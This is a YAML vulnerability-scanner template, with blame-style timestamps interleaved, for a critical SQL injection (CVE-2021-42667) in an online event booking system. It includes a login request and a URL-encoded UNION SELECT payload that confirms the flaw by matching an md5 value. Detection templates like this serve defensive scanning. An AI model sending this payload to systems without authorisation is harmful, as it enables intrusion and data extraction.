2022-09-03 06:26:47 +00:00
id : CVE-2021-42667
info :
2022-09-04 09:20:14 +00:00
name : Online Event Booking and Reservation System version 2.3.0 - SQL injection
2022-09-03 06:26:47 +00:00
author : fxploit
severity : critical
description : |
A SQL Injection vulnerability exists in Sourcecodester Online Event Booking and Reservation System in PHP in event-management/views. An attacker can leverage this vulnerability in order to manipulate the sql query performed. As a result he can extract sensitive data from the web server and in some cases he can use this vulnerability in order to get a remote code execution on the remote web server.
reference :
- https://github.com/0xDeku/CVE-2021-42667
- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
2022-09-04 09:20:14 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-42667
2022-09-05 19:01:12 +00:00
- https://github.com/TheHackingRabbi/CVE-2021-42667
2022-09-03 06:26:47 +00:00
classification :
2022-09-05 19:01:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-09-03 06:26:47 +00:00
cve-id : CVE-2021-42667
2022-09-05 19:01:12 +00:00
cwe-id : CWE-89
2022-09-04 09:20:14 +00:00
metadata :
2022-09-05 19:01:12 +00:00
verified : "true"
2022-09-04 09:20:14 +00:00
tags : cve,cve2021,sqli,authenticated
variables :
num : "999999999"
2022-09-03 06:26:47 +00:00
requests :
2022-09-04 09:20:14 +00:00
- raw :
- |
POST /login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
name={{username}}&pwd={{password}}
- |
GET /views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20- HTTP/1.1
Host : {{Hostname}}
2022-09-03 06:26:47 +00:00
2022-09-04 09:20:14 +00:00
redirects : true
max-redirects : 2
cookie-reuse : true
2022-09-03 06:26:47 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-09-04 09:20:14 +00:00
- '{{md5(num)}}'
2022-09-03 06:26:47 +00:00
- type : status
status :
- 200